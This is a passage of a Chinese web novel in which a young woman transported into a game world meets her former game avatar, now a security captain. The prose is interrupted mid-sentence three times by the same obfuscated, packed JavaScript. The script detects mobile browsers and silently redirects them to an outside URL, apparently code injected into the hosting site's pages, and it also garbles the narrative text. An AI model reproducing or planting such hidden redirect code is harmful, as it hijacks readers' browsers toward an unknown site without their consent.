好在有一条手臂拦住了她,将她揽过去。 她似一条死蛇,有气无力的被女人单手抱着,上半身靠在对方身上,使不上劲的脑袋也歪向了一旁,一直隐藏在衣领和发间的脖颈此刻暴露在空气中。 这种姿势很容易抽筋或落枕。 女人另一只手将她的脑袋轻轻推回去。 不管目的如何,至少表面上挺照顾她的。 但李乐生此刻根本注意不到对方的这种“贴心”。 “怎……怎么回事……”李乐生浑身使不上力,连呼吸都累得慌,就像是溺水的人刚被救回来,呼吸根本没有节奏。 她只有恐慌与绝望。 死亡的恐惧不过如此。 眼泪不受控制的涌出,顺着脸颊流淌,越来越多。 她不想死。 她想活着。 “空间跃迁还是太难为你了。”治安队长的手在她背上安抚似的轻拍了几下。 好像是在解释,又像是在反思。 听不出具体的情绪。 随后整座车舱自正上方向两侧滑动打开,李乐生被这个治安队长托着屁股、下巴抵在对方的肩膀上,抱了下来。 对方另一只手的手肘和手掌固定着她的腰背和肩膀,而她的两只手随着对方走路的动作左右甩动着。 李乐生眼前的景象终于清晰了。 她脑袋里的眩晕感也逐渐消失了。 只是眼睛有些累。 她这才明白过来,刚刚瞬间的失明后,她的眼球在疯狂的转动,转的太快无法对焦,不能清楚的接受光线的信号,以至于周围的场景都化成了花花绿绿的光。 而现在,她的眼球运动才平稳了下来。 但是身体突如其来的脱力,她还是理解不了。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15866560|176161||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 只是现在贴着这个治安队长的身体,对方的呼吸和后背那只手掌的触感都能感知到。 她想起在陷入黑暗时,也是对方伸出手抓住了她。 嗒!嗒!嗒! 女人的长靴踩在锃光瓦亮的大理石地砖上,发出一下又一下清脆的声音。 听在李乐生耳里,跟死亡倒计时似的。 她吸了吸鼻子,眼泪就跟关不上的水龙头似的,稀里哗啦的流个不停。 虽然她总是说“上班上的想死”“希望地球毁灭全人类都跟我一起死掉”“能不能来颗陨石把我砸死”这种大逆不道的话。 可真到了死这一步,她根本做不了心理建设。 她活了二十四年,从小到大努力学习。 曾经的梦想到现在都没实现,今天还和爸妈吵了一架,最好的朋友也已经一年没见过面了。 而现在,她要死了。 她的生活过的一塌糊涂,就要死了。 呼吸逐渐变得缓慢,李乐生难过的呜咽起来,她不想发出声音,可是身体这种本能的生理反应实在是很难压制。 “别哭了。”女人带着她进了一间房。 身后同样跟着一群穿着白衣服的人,而那三个属下此时已经不知去了哪里。 李乐生沉浸在自己的情绪中,丝毫没注意到。 她被对方放下来,躺在了一张床上。 而那群白大褂也正围在她身边,还有一些仪器,是一些医护人员。 靠啊!要给她安乐死! 李乐生崩溃了。 她想开口骂人,结果张了嘴舌头却说不出话来,就像是忘记了那些文字的发音,只是急促的呼吸,其中夹杂着几句“啊啊啊”之类的声音。 她的语言系统也崩溃了。 眼泪糊满了视线,她想擦却抬不起手。 忽而,那个治安队长伸出手,用纸巾擦去了她的眼泪。 李乐生吸着鼻子,眼睛湿漉漉的,连睫毛都被泪水沾成了一簇簇。 满眼里都是卑微求生的欲望。 治安队长皱眉,眼中有几分懊恼和心疼。 心疼?李乐生自然没放过这个词。 “对不起,我没想到会把你吓成这样。” 对方竟然在向她道歉。 李乐生:哎?好像能活? 治安队长移开目光,似是在反思自己,那双细眉还没有展开,与发丝同样颜色的细密睫毛随着她敛眸的动作轻微扇动,好似羽毛。 对方此刻竟有一种脆弱的美感。 李乐生被自己这恐怖的想法吓了一大跳。 “哎……”对方叹了口气。 李乐生瞬间警惕起来。 女人转过头,看向她,“我实在是有些激动,以至于不太理智,一直想着用什么样的语气,以什么样的话同你交流,才不会吓到你。” 李乐生:嗯?气氛有点不对。 “我对你的身体阈值也没有足够的信息,虽然已经将我的【精神力】覆盖在了你的身上,但还是晚了些。” “没有想到【跃迁】引起的时间扭曲,还是会攻击到你。” 对方几乎是哄着般的说话,好似李乐生是她很亲密的人。 “那你还【抹杀】我吗?”李乐生开口。 这个问题的答案对她真的很重要。 治安队长:…… 空气有一瞬间的凝固,她看到原本轻声细语,眼神温柔的治安队长闭上了眼睛,深呼吸了一口气,再次睁开眼,吐气。 李乐生明白,她这个问题问的不是时候。 “你还记得【抹杀】啊。”治安队长忽然阴阳怪气。 随后对方又叹了口气,“笨死了。” 对方起身就往外走。 看起来是生气了。 李乐生:“那你们抓我干嘛啊?” 没有了死亡警告,李乐生大胆起来了。 在对方走出门的前一秒,出言询问。 “乖乖配合医生检查身体。”女人转过头,微怒。 紧接着头也不回的离开。 李乐生意识到对方是真的生气了。 还是在生她的气。 关她什么事哦! 不会是因为,她影响到对方升职加薪了? 以为她是【异常】,兴致勃勃地来抓捕,想要立功,结果她就是个普通人。 升职无望了。 似乎很合理,但又不太对劲。李乐生很是费解。 索性不想了,乖乖躺着,任由医生们摆弄她的身体。 躺着躺着,就睡过去了。 4. 第 4 章 李乐生陷入了梦魇。 名为【过去】的梦魇。 少时,她生活的世界里没有太多接触外界的机会。 她的生活中读书占比很重。 【驯化】和【刻板印象】这两个词,就像是蜘蛛吐出来的丝,紧紧的缠绕着她,最后将她困在了一个混乱的茧房中。 “女生寝室四人五个群。” “大学女生都不检点。” 这样的话总能从她那些并没有接触过大学圈的亲戚、同学们口里说出来,他们用着一种得意洋洋、居高临下的姿态,对着他们从未踏足过的领域侃侃而谈。 那样把握十足的姿态,偏偏又能吸引到一部分女生的追捧。 那些吐露茧丝的蜘蛛里,也加入了很多雌性。 李乐生对这类言语总是沉默回避。 不愿意探讨。 她的心中并不认同那些人的话,但周围的人都在认同附和,如果她提出异议,就会是个异类。 成为众矢之的的“靶子”。 当一个人过于弱小的时候,成为“靶子”,是很痛苦的一件事。 这是她的经验之谈。 从家人那里得到的。 他们家族有一个很无聊的传统,每隔一段时间都会聚在一起吃顿饭。 家族? 实在是有种【封建残余】的味道,但确实是个小家族。 他们一家,大伯一家,和小姑一家。 每次家庭聚会时,大伯总会对她提出批评——“女孩子学习好是不错,但品德才是第一位,往后嫁了人更要贤惠勤劳,不要觉得自己读书好就骄傲自满,不把任何人放在眼里。” 大伯的这种【例行公事】是有一套规则的,并没有人明确的告诉过李乐生,但是李乐生作为活动中的主人公,亲身体会出了那套规则。 在晚饭快结束时,妈妈、大伯母和姑姑相继端着要清洗的碗筷向厨房走去,几位男性长辈依旧在饭桌上【指点江山】。 往往这时候,她也需要和妈妈她们一起忙活,有时候是拿起扫把,有时候是拿起抹布,有时候是端起盘子,总在刚开始打扫的时候,大伯就要语重心长的开口,“乐生,女娃啊读书好是没用的……” 而她只能停下手中的家务活,站在那里等着大伯教导她,听着那些能令耳朵起茧子的话。 最后笑着表示感谢,作为一个晚辈对关爱自己的长辈,受宠若惊的感谢。 很奇怪的是,她的爸爸在这时候总是很自豪。 一边做家务活一边左耳朵进右耳朵出可以吗? 当然不可以。 甚至不需要大伯发出不满,爸爸首先会斥责她不懂得尊敬长辈,会让她乖乖站好听大人把话讲完。 她倒是有过反驳,不,或者说是疑问。 “我好像品德也没有很坏吧?” “木生哥前几天不是偷了别人三千块钱吗?” “您为什么每次吃饭都要教育我?” “搞得好像我只有学习好,而人品不好一样。” 饭桌上,一直“乖顺”听从教导的后辈忽然发问。 那年,她十三岁,上初中,那天,她刚拿了期中考试全校第一的奖状回家,学校还奖励了六百块钱的奖金。 当爸妈高兴的在餐桌上和大伯一家、姑姑一家分享这个好消息的时候,大伯比平常更急不可耐的【例行公事】。 在小姑高兴的向她表示“考得这么好,小姑明天带你去吃大餐,咱们庆祝一下。”的时候,大伯忽然开口,打断了二人的谈话,就像是一场流畅的电影中间,毫无任何预警的插入了一个广告。 突兀。 且影响观感。 但他本人并不觉得。 可能是兴奋之情突然被打断,实在恼怒,再加上李木生偷钱的事刚好发生不久,李乐生终于提出了自己的疑问。 结果并不好,场面莫名其妙的就难看起来了。 大伯愤而离席。 大伯母脸色难看,但没有愤怒,只是尴尬的走了。 他的儿子李木生也没想到会有人敢在大庭广众之下说出他偷钱的事,哪怕这件事每个人都清楚。 竟然恼羞成怒,摔了手中的碗,又摔门而去。 小姑一家留了下来。 爸妈相继斥责她不懂礼貌,不敬长辈。 忽然扯天扯地,扯到了她将来也不会孝顺他们。 李乐生据理力争,一直重复着自己的观点,她只是不能理解,为什么每次吃饭都要批评她。 但她的据理力争在爸妈眼里并不讲理,而是顶嘴,是叛逆,是不听话。 “你现在就敢这么对我们说话,等以后我老了瘫了躺床上拉屎拉尿都得要你搭把手的时候,你是不是就一点也不帮忙?” 李乐生觉得她好像被自己的父母狠狠的摁在水里,口鼻根本就呼吸不上来,想张口说话,结果漫进来一堆水直冲着自己的喉咙而去,呛得她胸腔肺部都难受,恨不得去死。 “你有什么脸哭!?” “你大伯说你还说错了?仗着自己学习好就目中无人,长辈教育教育你你就这个德行!” “我什么德行了!?” “他儿子偷钱品德好?他儿子初中辍学天天在外面当混混怎么不去说?每次都要来教育我?” “我哪里有不尊重他,我就是不理解他干嘛要跟我过不去!” “你现在就是这个泼妇的德行!” “哥,你别说了。乐生她就是个小孩。”小姑在一边劝着两人,制止着争吵,“她考了第一名开心的很,大哥也是,非要这个节骨眼上批评。” “乐生乖,别哭了,这鼻涕泡都出来了,你爸也是为你好。” 似乎还有人说话,妈妈,弟弟,或者是姑父? 李乐生已经记不清了,她只是在一个劲儿的哭。 哭的喘不上气。 就像是个哮喘患者。 眼泪更是止不住。 愤怒与委屈就像是两团火焰,一直在她的心里燃烧,而爸爸妈妈的斥责就是一桶汽油,令这两团伙烧的愈来愈旺,到后来将她整个人吞没。 “我做错什…什么了……” “凭什么……” 少女哭的不能自已,脑袋甚至开始缺氧,眼前的一切突然开始变得模糊。 她听到有人在她耳边说话,“你什么都没做错。” 她的身体也被什么禁锢着。 李乐生哭着睁开眼,看着周围陌生的环境,愣了好久。 “醒过来了?”抱着她的人开口。 李乐生终于回到了现实。 这里是【诺城】。 她穿越后的世界。 对方将她放开,她也识趣的退开身子。 “你做噩梦了,一直哭个不停。”这个去而复返的治安队长说道。 向李乐生递了几张纸巾。 李乐生接过,吸了吸鼻子,擦着眼泪和鼻涕,闷闷开口,“对不起。” “把你衣服弄湿了。” 她注意到对方的胸前那一大片深色的水渍,到底怎么来的,不言而喻。 “你换衣服了?” 那身帅气板正的制服被女人脱了下来,连同战斗靴也是。 现在对方穿着件酒红色的衬衫,似乎是丝柔质地,还泛着光,领口附近的两个扣子解开,漂亮的脖颈露在空气中。 护目镜也取了下来。 整个人多了几分慵懒,少了几分疏离感。 “是啊。”听到李乐生这么问,女人笑了起来。 似乎很开心她会问出这个问题。 “你觉得怎么样?”她又问道。 李乐生想都没想,“很帅。” 女人笑得更开心了,“是嘛。” “帅就好。”她的眼睛都快眯成一条缝了。 她坐在床边,等着李乐生擦干眼泪抚平情绪,那双金色的眸子里映着李乐生的身影,就像是在将李乐生的一举一动都在录进去似的。 两个人谁也没有说话,室内安静的很,但气氛很好。 李乐生的鼻子总算是通了气,哭过后的眼睛莫名其妙的有些干巴。 “要去洗把脸吗?”女人开口。 “好。” 对方指了指洗手间的门,李乐生下床穿上拖鞋走过去,在洗手间里洗了一把脸。 虽然这个世界科技发达的不像话,不过洗手间的装潢倒是没什么大的区别。 等从洗手间出来,那个治安队长已经换了个地方。 她坐在了床对面的沙发上。 身旁有个机器人正在煮着咖啡。 “要来聊聊吗?兴许对你之后在这个世界的生活有用。”治安队长翘着二郎腿,双手十指交叉放在膝盖上,靠在沙发背上,给了她一个十分迷人的微笑。 其实不笑也很迷人。 这人实在是好看的不像个真人。 似乎本来就不算真人。 毕竟这是个游戏世界。 但是现在穿进来了,这个问题又好像有待商榷。 说起来,李唯一又是什么样子呢? 手机屏幕里的李唯一是个3d的形象,但再怎么3d,终究比不上真人,现如今她穿进来了,不知道能不能见到李唯一。 虽然很久没玩游戏了,但当时对这款游戏的热爱,对李唯一付出的心血,也不是假的。 她将李唯一当作是游戏世界里的自己,当时捏脸的时候都用了五六个小时,就像是在精心雕琢一件游戏里的石像似的。 最终结果,自然很满意。 李唯一是个很美的形象。 如果说她没有穿越成自己的游戏主控,那是不是意味着李唯一也存在着呢? 按照游戏公司的话来说,主控就是玩家的皮套,是玩家在游戏里的形象。 那么,只是遵从她指令活动的李唯一,会以什么样的方式存在呢? 植物人? 李乐生思考起来。 “可以别发呆吗?”对面的女人无奈的开口,细声细语表达她的委屈,“专心和我聊天,好吗?” 李乐生:“不好意思。” 老实道歉。 实在是不能怪她,她这人就有两个毛病,喜欢发呆和自言自语。 沉浸在自己的世界中,可以忘却很多烦心的事,这是她自己摸索出来的情绪治疗法。 虽然没有权威机构的认证,但她个人觉得很好用。 不然就她那命苦的一生,早就摁跳楼键重开了。 “没关系,我原谅你了。”女人又恢复了笑容,“坐吧。” 李乐生闻言坐在女人对面,坐姿很乖巧。 乖巧的有些局促,好似一个犯错的小孩在接受老师的批评。 “别这么紧张 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15866561|176161||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,又不是在审你。”女人的手指动了动,机器人为李乐生端来了一杯果汁。 女人道:“边喝边聊。” 李乐生端起杯子喝了一口,眼睛一亮。 好好喝的西瓜汁。 “你出现在【诺城】的时候,我们的系统就已经捕获到当时空间的磁场变化了,频率的跳动是很明显的时空扭曲导致的,所以第一时间就发动了【异常预警】。” “之后我带领我的队员就去找你了。” “几乎所有的【异常】活动,都是和时空混乱分不开的,越危险的异常,越会扭曲时空,甚至会吞噬掉周遭,但他们也越容易被检测到。” “而你的危险度很低,只出现了那么一瞬间,且之后的磁场频率又恢复了,我们搜寻了很久,都探测不到。”治安队长娓娓道来。 发现李乐生欲言又止,她歪了歪头,“有什么不明白的吗?” “那倒没有。”李乐生挠了挠脸颊,试探地开口,“只是……” “这些东西难道不属于机密吗?” 这么详细的告诉她这个外来者? 真的好吗? 虽然她是个手无缚鸡之力的牛马。 “呵呵…”女人笑了起来,她偏过头,像是在回味着什么。 再抬起头,笑容未减,“我很开心你这么体谅我。” “这些算不上机密,而且,就算是机密,也没什么。”女人说到这里,笑容又淡了点。 反倒是那双好看的眸子里,平添了几分抱怨。 对李乐生的。 李乐生:? 不过那几分抱怨很快随着女人的一声叹气消失了。 “那你们最后是怎么找的我的?”李乐生问道。 女人挑眉,“我们的探测方法有很多种,只是最开始使用的常规探测法,没有探测出来,换一种就行了。” 李乐生:“哦~” 她觉得自己问了个蠢问题。 “治安官的任务是处理【异常】保护居民。” “所谓的【异常】其实就是时空入侵者以及他们的后代对【厄斯星】的危险活动,你知道吗?” 李乐生点头,“我知道。” 这也是这个游戏的设定。 【厄斯星】亿万年前曾是星际联邦的一部分,后来反叛舰队发起战争,妄图占领整个星际联邦。 【厄斯星】战士们统一对抗反叛者。 大战胜利后,却摇身一变成了【反叛者】,星球最高领导人被判死,居民被判处流放至【废土星系】。 为了保护星球子民,【厄斯星】的一众国家领导者建立了独立联盟,并达成了一致——使用全星球的【圣石】矿区燃烧能源,发动时空之旅,寻求一线生机。 若能平安穿越时空虫洞,在虫洞维度之中建立轨道,【厄斯星】的人民便能活下去,但将永远不能离开本星球。 若是失败,子民们会随着星球一起被虫洞内的强大吞噬力撕成碎片。 九死一生。 但对于被判了【永久流放】的全球子民而言,一线生机总比行尸走肉强。 自然,【厄斯星】成功了。 但星际联邦没有放过对厄斯星的追杀,生活在另一个维度的【厄斯星】如果要踏足的话,他们也必须同样进行时空穿越。 尽管时空穿越绝非两手一拍就能响起来的巴掌,但亿万年之久,足够造成时空混乱了。 【治安官】们,正是在这种情况下成立的。 他们拥有着不同的异能,可以不受时空扭曲的限制,在外来者闯入的时候,第一时间就去逮捕作战。 这就是《我的人生物语养成手册》,她玩游戏的背景。 其实要更具体些的,但她记忆里搜索出来的就是这么个轮廓了。 那些妖魔鬼怪的npc,在游戏中其实就是其他星球、时空的居民,有的是误闯进了【厄斯星】,有的则是星际联邦的【追杀者】……身份不一,更能激发剧情冲突。 “对于那些不怀好意的入侵者,我们会采取【抹杀】。毫不留情。你应该也知道?” 李乐生点头。 “异能者们自幼会被送到联邦建造的特区【旧都】生活,在那里学习更广泛、更深刻的知识,从而缔造异能者们【守护厄斯星】的思想钢印。你记得吗?” 李乐生回忆了一下,如实回答,“有那么点印象,还看了历史cg好像。” 主控作为异能者,刚出场就是大学,大学第一节课在剧情里是开篇篇章。 讲述的就是【厄斯星】的历史,当时有一段动画cg,是旧历的星球子民们谋生和逃亡的历史,音乐和动画渲染都十分到位,李乐生当时都给看哭了。 “你记得的东西那么多……”治安队长的语气不再柔和了,倒是有点咬牙切齿的意味。 尤其是【那么多】三个字,说的十分用力。 李乐生本来特别放松的身心一下紧绷起来,再看对面的女人,对方不知道什么时候改变了坐姿。 双腿大开,手肘分别置于大腿上,身体和脑袋自然凑向了她这方,隔着一张桌子,那双眼睛锐利似刀,直勾勾地盯着她。 李乐生端着西瓜汁的手都僵在了一半。 她听到女人不耐的开口,声音发狠,像一只正在逮捕的小兽—— “就记不起来我吗?” “李乐生!” 5. 第 5 章 “战友们战友们!都停下都停下!发生大事了!!!!” 治安基地的训练室内,几乎所有人的手环上都收到了一条语音。 语音发布者是整个治安处无人不知的八卦小能手——赛德·贝克。 这人尤其的讨厌训练,不喜欢过于劳累,所以除了日常队伍规定的训练指标,从来不会给自己加练。 凡是闲着的时候,基本都在【诺城】里随便晃悠。 有时候外出巡逻,遇到些街头吵架之类的趣闻,他都要冒着被监管发现的风险去看看。 就是公园里两条狗打架,他都能乐此不疲地看一下午。 经常因为在巡逻视察时看热闹被处罚。 一开始高层扣的是他的工资,奈何赛德本人并不在乎工资,而且治安处包吃包住,即便工资扣光了,他也能吃这个低保活下去。 后来管理层发现扣工资没用,于是将对他的惩罚改成了禁足。 巡逻任务也不指派了,上头直接封禁了他的权限,让他出不了基地。 根据他擅离职守的次数,禁足期总计273天,至少要到明年的三月份才能结束。 任凭赛德如何向队长苦苦哀求,都无法取消处罚。 今天是他被禁足的第十一天。 这十一天里,这位八卦员因为没有新鲜热闹看,对战友们的分享欲可谓是直线下降。 治安处里几乎很少听到有意思的趣闻了。 毕竟赛德实在是有讲故事的天赋,同一件事从他嘴里说出来,总是即具有画面感,也听的人津津有味的。 平日里,战友们有些烦他。 但真的听不到他叽叽喳喳的声音时,又有点想念了。 尤其是每日训练和用餐的时候,大家碰到他,他都是闷闷不乐的。 甚至连话都不怎么说。 都觉得孩子怪可怜的。 而今天,“静音”了十一天的大喇叭忽然开麦了。 而且还炸麦。 众人的手环接听系统被赛德强制打开。 那激动到有些破音的大嗓门在训练场内整齐划一的响起。 “怎么了怎么了?你怎么还调用【强制】的权限了?”有人连忙发问。 训练模式不一的人们不约而同的停了下来。 “基地出事了?” “赛德你撑住!我们马上过来。”有人甚至调用了【时空跃迁】的权限,直接瞬移到了赛德的位置。 下一刻他们听到赛德那边传来了怒吼:“不就是饭摔地上了吗?到底有什么可群发的!还是强制接听!” “给老子死!” 紧接着便是武器碰撞的声音。 “靠!傻屌!”紧跟着要使用【时空跃迁】的人连忙取消,顺便跟着骂了一句。 随后关闭通话,继续训练。 “不是啊不是啊!哎哎哎!你们别挂!是真的有大事。”大波浪金发的男治安官顶着一只被揍肿的眼睛还不忘向战友们八卦自己刚刚看到的事,“咱们基地来了一个新人。” “特别特别瘦小,目测只有一米六,还是被A组队长特招进来的。”眼看着同伴怒气发泄未完,还要再给他一拳。 赛德的语速达到了此生最快。 迎面而来的拳头在距离自己的右眼还有一公分的时候停了下来。 “真的?”同伴移开拳头,不可置信。 赛德连连点头。 此刻训练室内更是炸开了锅。 治安基地的在役治安官人数一共二百三十人,由A到F总共分配六组。 其中A组是整个治安队最优秀的治安小组。 且只有一队。 小队包括他们的队长总共就四个人。 队长李唯一自二十岁通过治安官考核后,用了接下来的一个月一路打破天下无敌手,将整个基地的所有在役治安官都打了一顿。 不管老的少的,只要在她编号前头的,统统打了一顿,然后美美的打进了A组。 后又因为处理了两个特级【异常】事件,一跃成了A组的队长。 明明看着人畜无害,甚至待人接物都很斯文,结果那拳头打人身上就跟打沙包似的,眼里没有一丁点对同伴的于心不忍,只有要他们狗命的疯狂。 要不是联邦法律明确规定治安官分组选拔比赛中不得出现重大伤亡,可能在李唯一参与的那届分组比赛中,应该有不少人已经成为【永久工伤】了。 感谢联邦。 感谢法律。 自李唯一成为A组的队长后,她便亲自参与了A组的选拔比赛。 凡是她不满意的,一律都进不了A组。 当然,也总有人不服气。 后果就是被李唯一暴打一顿,然后服了。 这两年里,A组永远都是那几个人。 四个人住在那座A组专属的空荡又华丽的大楼里,孤独而寂寞。 哪像他们其他组,大家几十个人住在一栋楼里,热闹又亲近。 后槽牙都要咬碎了。 “李唯一特招的?我觉得不会吧,她对于自家队员的选拔是很上心的。” “而且你不是说那个新人只有一米六吗?治安组身高最低也要一米七。根本就不达标的。” “你别是看错了吧。”众人开始议论纷纷,一个接一个的通过手环发表自己的意见。 “最近基地研究部不是研究出一款【拟态衣】了吗?说是可以根据磁场数值做出调整,将第三方的影像投放到穿衣者的身上,在其他人眼中,穿着【拟态衣】的人会改变模样。” “那玩意儿都被打假了,你网速也太慢了吧?昨天就被抓了。研究部里骗经费的。” …… 一时间,整个治安基地都热闹了起来。 赛德:好享受这种大家因为我带来的八卦侃侃而谈的氛围啊。 “那个新人叫什么名字?小喇叭!” “叫我百事通,什么小喇叭。”赛德不满的嘟囔起来。 但还是老实的回话,“我不知道,只知道是个女的。” “我靠!你连名字都没搞清楚,你这小喇叭怎么当的?” “那李唯一站那跟个boss一样,你这么想知道你自己去问!”赛德立马怒道。 频道里的集体有一瞬间的沉默。 赛德就是那个选拔比赛中不服气然后被李唯一打到服气的人。 当时肋骨断了好几根,一口洁白无暇的好牙齿也被打飞重组了。 说真的,当时赛德才十六岁,是【旧都】培养的最年轻的毕业生,都没成年呢。 二十一岁的李唯一全然没有对未成年人的爱护,只有对后辈的鞭策。 物理上的。 以学院第一名毕业的天之骄子刚进工作单位就被整个基地里选拔比赛时的限时boss李唯一教会了何为“谦卑”,何为“大山”。 今年赛德也才十七岁。 还没那么快消化掉李唯一带给他的阴影。 平日里是真的遇到李唯一就跟 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15866562|176161||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 老鼠遇到猫一样,跑的飞快。 这次要不是在基地里憋的久了,再加上是真爱八卦,否则他吃饭的时候看到李唯一出现在餐厅,早就跑了。 “那没事了。” “是啊是啊。” “确实不能强你所难。” 频道里的大家表示理解。 “在聊什么呢?还拉了个几百人的频道。”女人好奇的问道,“真巧,好像把我们A组屏蔽了啊?” 训练室门口,F组第三小队里的一个男治安官正坐在靠墙的长椅上,一边休息一边听着大家的八卦。 在训练结束后,又累又兴奋的状态下。 听着赛德和大家来一场八卦,可谓是很享受了。 偏巧,头顶有女人开了口,还自顾自地伸出手在他的悬浮屏幕上划动几下,将通话频道的手环ID列表调了出来。 对于这种“越界”的行为,他自然是容忍不了,“啧”了一声,抬头就要开口怼。 随后看到了李唯一那张带着微笑的侧脸。 女人正屈膝弯腰,饶有兴趣的看着列表,名为【李唯一】的身份ID显示为“X”的状态。 女人饶有兴趣的将眼睛从手环上移开,同治安官对视,“中午好啊。” “李队!”男人立马站起来,连手环都来不及关,站得笔直,挺胸抬头,双手背于身后腰部,左手抓着右臂腕部。 接受李唯一的批评。 此刻的训练室内彻底没了人声。 其他人也赶紧端正姿势,个个都目视着前方,就是不敢看李唯一。 “这么紧张干什么?”李唯一站直了身子,说道,“你们又没违纪犯错,放松点儿。” 众人左看看右看看,还是有些不确定。 在大家都没有注意的时候,远在餐厅的赛德悄悄的关闭了自己的通话。 于他同处一室的那名战友,目睹了一切。 也跟着关闭了通话。 要怂一起怂。 “我只是在作战指挥权上高于你们,平时和各位队长是平级。”李唯一朝离得最近的B组的一名小队队长说道,“诺顿队长,还有其他的朋友,现在的我可没有资格批评你们。” 眼看李唯一是真的不计较,众人这才放松了下来。 “李队长,其实我们就是有些好奇……您这位……” 松弛下来的诺顿队长试探着开口,眼睛落在了李唯一身边的黑发女人身上。 女人几乎半个身子都在李唯一身后,双手扒着李唯一的肩膀,只露了个脑袋,好奇的打量着这间高达宽阔的训练室。 眼睛中的惊叹之情不言而喻。 “哇——” 虽然没有发出声音,但是依靠口型就知道女人在说什么。 在发现李唯一的时候,他们早就看到了同来的女人。 应该就是赛德口里那个【新人】? 自然想问问。 只是不知道是李唯一的什么人。 进入治安基地的每个治安官,无论是在役还是预备役,他们所有人的身份信息和关系网都是公开透明的。 当然,仅限于治安官们之间的公开透明。 李唯一的关系网堪称简单,关系网里大多数的人物都是和同批的治安官们重合的,毕竟大家都是一个学院出来的,里面大部分熟人其实都是治安官。 不重合的关系人物,十根手指更是数的过来。 而今天跟在她身边的那个女人,很显然,不属于李唯一的关系网。 6. 第 6 章 “怎么不说话?” 女人歪头,直勾勾地盯着李乐生。 李乐生低着头,脸色甚是尴尬,一双眼睛无处安放,不敢看向对方。 “呵!” 头顶传来女人的笑声。 李乐生确信,对面被她气笑了。 她硬着头皮抬头,二人对视,从那双漂亮的眼睛里看到了“控诉”二字。 对方眉头微皱,紧抿着双唇,看起来真的很委屈。 不是,怎么突然就变成虐恋剧本了? 下一刻。 那张线条流畅、五官精致的脸上,无声的泪缓缓落下。 眼眶中将落未落的泪水让她的双眼看起来似是蒙上了一层薄薄的雾,那双眸子像是要碎掉一般。 整个人都流露着一种令人心生怜惜的倔强。 李乐生大为震惊。 “你……你别哭啊?”李乐生吓得站了起来。 双手伸过去想要触碰对方,却又停在半空中,她转头看向床头柜,“我去给你拿纸巾。” 刚要抬脚,就被对方抓住了手腕。 李乐生的动作停下。 转过头,对上女人那双湿漉漉的、藏着情绪的眼睛。 “我……”她张口,却说不出什么话来。 不是她肤浅,实在是哭的有点太美了。 李乐生有一瞬间的晃神。 “为什么不记得我?”女人的声音让她回神。 对方抬头,盯着那张哭的梨花带雨的脸质问她。 其实连质问都谈不上,对方的语气里没有丝毫的强迫和不适。 只是委屈。 哭腔并不眼中,但是微颤的声音偏偏敲着她的心脏。 “我没有不记得,我记得你,只是没认出来……” 李乐生连忙解释,说道【没认出来】四个字的时候,心虚的声音都小了很多,到最后甚至没说话了。 “所以,为什么没认出来?”李唯一站起来,抓着李乐生的那只手又用了点力,朝她这边拉了拉。 她自己身子也向前倾,二人隔着茶几站着,但是上半身的距离却近了很多。 又一滴泪落下来。 李乐生觉得对方的泪水就是一种无声的武器。 这种无声的眼泪,在悄然之间入侵了她的心房,让她愧疚。 “我本来很久就没上线了……”李乐生硬着头皮解释。 奇怪,她觉得现在的自己像个抛妻弃子的渣男,而李唯一就是那个被她始乱终弃后苦苦寻来的妻子。 她的“妻子”正在质问她,为什么要抛弃她? “你的衣服和发型,也很多……”李唯一不说话,只等着李乐生继续,“我是说,游戏的衣柜,你懂吧?” “在我的那个世界,和你的联系,是一个游戏。” “你是我的游戏主控,你的生活其实……是我在过剧情。”李乐生的话停住。 她本来还没想那么多,可现在意识到了一件事。 在他的世界里,游戏里的主控和npc们,其实都只是一串数据,只是她本人倾注了感情和时间。 而现在,穿越进来后,她才发现,李唯一不仅仅还存在,对方竟然是知道她的。 那么在过去玩游戏的时候,当她作为玩家操控着自己的游戏主控去战斗、去互动时,李唯一也是有感觉的吗? 那么有没有某个瞬间,甚至是多个瞬间。 她选择的选项,其实不是李唯一想要的呢? 她是不是,作为一个玩家。 强迫了李唯一很多年。 李乐生沉默了,她陷入了自己的情绪里。 女人脸上原本尴尬的神情消散,脸色几乎是瞬间变得煞白,如梦初醒般的站在原地。 李唯一感觉到,她抓着的李乐生的那只手腕,都有些泄了力气。 “对不起。”李乐生忽然开口,却是在向她道歉。 紧随其后的,是女人决堤而出的泪水。 李唯一慌了。 连忙绕过茶几走到了李乐生面前。 她只是装装可怜,想让李乐生哄哄她。 可没想过要把李乐生惹哭。 其实没有被认出来,她也确实那么一点点委屈,但和见到李乐生本人时那巨大如浪潮般的惊喜而言,根本不值一提。 李乐生抽回手,捂着脸哭了起来。 整个病房里都是女人啜泣的声音。 “别哭,李乐生,别哭。” 